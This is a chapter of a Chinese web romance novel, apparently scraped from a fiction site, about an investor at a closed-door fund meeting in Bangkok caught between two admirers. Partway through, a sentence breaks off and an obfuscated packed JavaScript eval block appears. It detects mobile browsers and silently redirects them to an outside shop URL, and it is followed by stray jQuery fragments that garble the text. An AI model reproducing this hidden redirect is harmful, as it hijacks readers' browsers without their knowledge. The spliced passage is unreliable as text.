文趣网 > 都市小说 > 心动有时 > 79.Chapter 79
    曼谷的会,是郑总家办每年一次的活动。

    郑总,新加坡人,做家族办公室,管着东南亚几个家族的钱——四十年前他开始管钱的时候,清池还没成立,方严还没出生。他的家办每年四月在曼谷办一场“东南亚GP-LP闭门会”,邀请制,五十个人,湄南河边一家酒店,两天。第一天GP汇报,第二天LP问答,晚上闭门晚宴。能被请进来的GP,一只手数得过来。

    TCP是必来的——郑总的家办是TCP二期的第一大LP,占两成,排在LP名单第一位,每年向郑总汇报一次,像学生交作业。

    清池今年第一次被请。郑总的家办从三年前开始看清池,看到今年,终于把请柬发了出来,Jason把请柬推给祝青云的时候说:“郑家的门,进了就别想随便出来。你去,代表的是清池。”

    她去了。带着许默涵。

    落地曼谷是周三晚上。

    周四的闭门会从九点开始,宴会厅五十个座位,前排是LP,后排是GP,没有人记笔记——能进这间屋子的人,都不需要记。

    她进场的时候,茶歇区已经站满了人,新加坡的口音,泰国的口音,印尼的口音,混在一起,像一锅煮开的粥。许默涵去取日程表,她站在门口扫了一圈——习惯动作,看出口,也看人。

    目光到茶歇区的一个角落,停了半秒。

    那个人端着一杯手冲,站在一根柱子旁边,正在跟郑总家办的MD说话。深色西装,没打领带,手冲的杯子上贴着酒店的logo。

    他先看见的她。

    方严放下手冲,穿过茶歇区的人,走过来,站在她面前,说:“好巧。”

    祝青云说:“不巧。”

    他愣了一下。

    “我知道你来。”她说,“闭门会的名单上周就出了,TCP在GP汇报那一页,第三行。”

    他看着她,过了两秒,笑了:“你看了第三行?”

    “我习惯先看名单。”她说,“看出口,也看人。”

    他也笑了:“那我也是。我习惯先看名单,看你来不来。”

    许默涵抱着日程表回来,看见他们,愣了一下,把日程表递过来,说:“祝总,您的发言排在第六个。”

    “嗯。”

    “方总好。”许默涵说。

    “你好。”方严说。

    许默涵又看了看他们,退到一边去了。

    上午是GP汇报。

    八家GP轮流上台,每家二十分钟,讲去年的DPI、今年的pipeline、明年的方向。台下五十个人,一半是LP,一半是GP。祝青云还是老样子,讲Kasa的退出,讲青藤的上市,讲东南亚二期的方向。

    讲完,郑总在第一排问了一个问题:“东南亚的下一个五年,你最担心什么?”

    "退出。"祝青云说,"东南亚的公司,做得好,但上市通道太薄,并购几乎是唯一的出口。没有退出,LP的钱就转不动,下一个五年,就没有人再投。"

    郑总点了点头,没再问。

    第八家讲的时候,方严侧过头,跟郑总家办的孕育总监说了句什么。运营总监点点头,走了。

    过了一会儿,郑总家办的人过来,给祝青云递了杯咖啡。美式,去冰。

    她接过咖啡,看了一眼送咖啡的人——郑总家办的人退到一边,什么都没说。

    方严坐在第三排,看着那杯咖啡送到她手里,又看了看祝青云——她接过去,低头喝了,他收回目光,像完成了一个打卡。

    中午的自助餐在宴会厅外面的露台。

    湄南河在二十层下面,河水是浑的,浑得发亮,长尾船在河面上划出一条一条白线。祝青云端着盘子站在栏杆边,看河。

    有人走过来,端着一杯威士忌。

    “祝总。”

    她回头。长潮资本的陈屿,亚麻衬衫,手里端着威士忌,Kasa B轮的领投方——去年闭门会上递名片的那个人。

    “陈总。”她说,“你也来闭门会?”

    “长潮是闭门会的联合主办方。”陈屿说,走过来,站在她旁边,隔着半步,“今年第三年。”

    “哦。”

    "祝总刚才那句'东南亚的公司,上市通道太薄',"陈屿说,"我在台下记了。长潮的几个项目,这两年退出都难。"他停了一下,"我投Kasa,现在看来,等对了,还要感谢祝总。"

    “陈总客气了。”

    “不客气。”陈屿说,“我这个人,看项目看人,眼光都还可以。看项目的时候,我可以等;看人的时候——”他停了一下,“我等的时间更长。”

    露台上的风把祝青云的头发吹到脸上。她抬手拢到耳后,没有接话。

    陈屿也不急。他喝了一口威士忌,说:“改天我做东,祝总一定赏光。”

    “看时间。”她说。

    “好,”陈屿说,“那就看时间。”

    他走了,走的时候把酒杯放在栏杆旁的吧台上,像放了一个坐标。

    方严从宴会厅出来,正好看见陈屿把杯子放在吧台上的那一幕。他站在门口,没有过去。他看着陈屿穿过茶歇区,看着陈屿跟两个FA的人握手,看着陈屿在人群里消失,然后他把目光移回吧台边——她还站在那里,看着河,陈屿的威士忌在她手边,她没动。

    他想,ABCDE。

    谢子维是A,陈屿是B,都是儒雅,公开,体面的人。他不知道自己为什么现在才想起那个人。也许是因为陈屿的笑太体面了,体面到让他想起,体面的人不止陈屿一个。

    那C呢?D呢?

    永远会有新的A,新的B,新的C,新的D,新的E。行业这么大,人这么多,她这么好。

    他看着自己的空杯子,忽然觉得,额度这种东西,再不定,就要被别人定了。

    下午的自由讨论,方严主持。

    四个小组,GP和LP混编,讨论明年的方向。他主持得很稳,问题一个一个抛出去,抛得不紧不慢,像在打一副控制节奏的牌。祝青云坐在他那一组,听得很认真。

    讨论到一半,有个LP问:“东南亚的消费,现在的问题是渠道太贵,流量太贵,物流太贵。”

    方严接了一句:“所以交叉补贴才值钱。”

    那个LP愣了一下:“什么交叉补贴?”

    “内容生态交叉补贴。”方严说,“消费履约数据证明,获客成本可以被内容生态压到行业均值的三分之一——前提是,你的内容能留住人,留到第六周。”

    台下有人记笔记。

    祝青云没记。她看着他——他用消费赛道的尺子量AI的价格,她用三十家网吧把他的尺子拆了。现在他把她的尺子借过去了,借得很自然,像那本来就是他的尺子。

    她低头,在笔记上写了一行:“他学得很快。”

    写完自己愣了一下,把“他”划掉,改成“TCP”。

    讨论结束,散场的时候在过道里碰上。“我讲得好吗?”方严问。

    “好。”她说,“就是借尺子的动作太自然了。”

    “你的尺子好用。”他说,“借来用用。”

    “用可以,”她说,“记得还。”

    “还。”他说,“连本带利。”

    他们从过道分开,各自回到各自的座位。许默涵在第三排边上看着,看见祝青云坐下的时候,把那张写着“TCP”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17762798|209103||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的笔记,翻到了背面。

    晚上,湄南河边的餐厅。

    闭门会主办方订的晚宴,两张长桌,河风从窗户进来,把桌上的蜡烛吹得一晃一晃。陈屿做东,请了七八个人,祝青云在主宾位。方严不在名单上,但陈屿看见他在隔壁桌,跟一个印尼的LP说话,就把他也拉了过来:“方总,一起。”

    方严说:“不好吧。”

    “有什么不好,”陈屿说,“闭门会的规矩,见者有份。”

    方严坐下了,在祝青云斜对角的位置。

    晚宴进行到一半,陈屿举杯,说:“今天敬两个人。一个是祝总,东南亚最懂渠道的人;一个是方总,消费侧最懂框架的人。两位都在,是我们这桌的运气。”

    满桌都举杯。

    祝青云举了,方严举了。杯子碰了一圈,碰不到彼此。

    陈屿放下杯子,又说:“祝总,改天我做东,单独请你,把渠道的事聊透。”

    满桌都看着。

    祝青云说:“陈总,改天我做东,请你和方总一起,把出海的事聊透。”

    陈屿愣了一下,笑了:“好,那更好。”

    方严看着她。她看着盘子里的菜,没有看他。

    晚宴结束,散场。陈屿送她到电梯口,方严在十步外等车。

    “祝总,”陈屿说,“我这个人,做事喜欢明着来。今天请你,是欣赏你。改天请你,还是欣赏你。你可以不来,但我不会不请。”

    “陈总,”她说,“我这个人,做事喜欢慢着来。你可以明着来,我不会急着答。”

    陈屿笑了:“那我就等。”

    “那你就等。”她说。

    电梯到了。她进去,看见方严站在十步外,也看着她。电梯门合上之前,她点了一下头。

    他也点了一下头。

    电梯门合上,她一个人站在里面,看着楼层数字往下跳。陈屿的明,方严的暗。她忽然想起谢子维——他已经走了,走得没有回头。

    工作太近,感情太远。

    电梯到一层,门开了。河风从酒店大门进来,带着湄南河的腥和香。她站在门口,把这个问题按下去了。

    有些问题,今天晚上不答。

    许默涵在酒店大堂等她,手里拿着两份明天的材料。

    "祝总,"许默涵说,"方总的人刚才又来送东西了,放在您房间门口了。"

    "嗯。"她说,"送的什么?"

    "一条披肩。"许默涵说,"让我转交你,说空调房冷。我刚才在电梯里,看见方总跟助理说了句话,说完那个人就去买了。"

    祝青云看着许默涵,许默涵看着她。大堂的灯很亮,亮得能照出每个人脸上的想法。

    “你看见了?”她问。

    “看见了。”许默涵说,“我还看见方总看了我一眼,像在说‘别说’。”

    “那你说了吗?”

    “说了。”许默涵说,“我说了。”

    祝青云看着她,过了两秒,笑了:“干得不错。”

    许默涵也笑了。她把明天的材料递过来,说:“祝总,我还有个问题。”

    “问。”

    “方总为什么不自己送?”

    祝青云接过材料,往电梯走,走了两步,停了一下,没有回头。

    “因为他知道,”她说,“自己送的,我不一定接。”

    电梯到了。她进去,许默涵站在外面,看着电梯门合上。许默涵忽然明白了,那个“不一定接”,不是拒绝,是另一种接——收礼物的人知道礼物从哪来,送礼物的人知道礼物会被接。两个人都知道,两个人都不说。

    像那条湄南河,浑是浑的,但底下有底。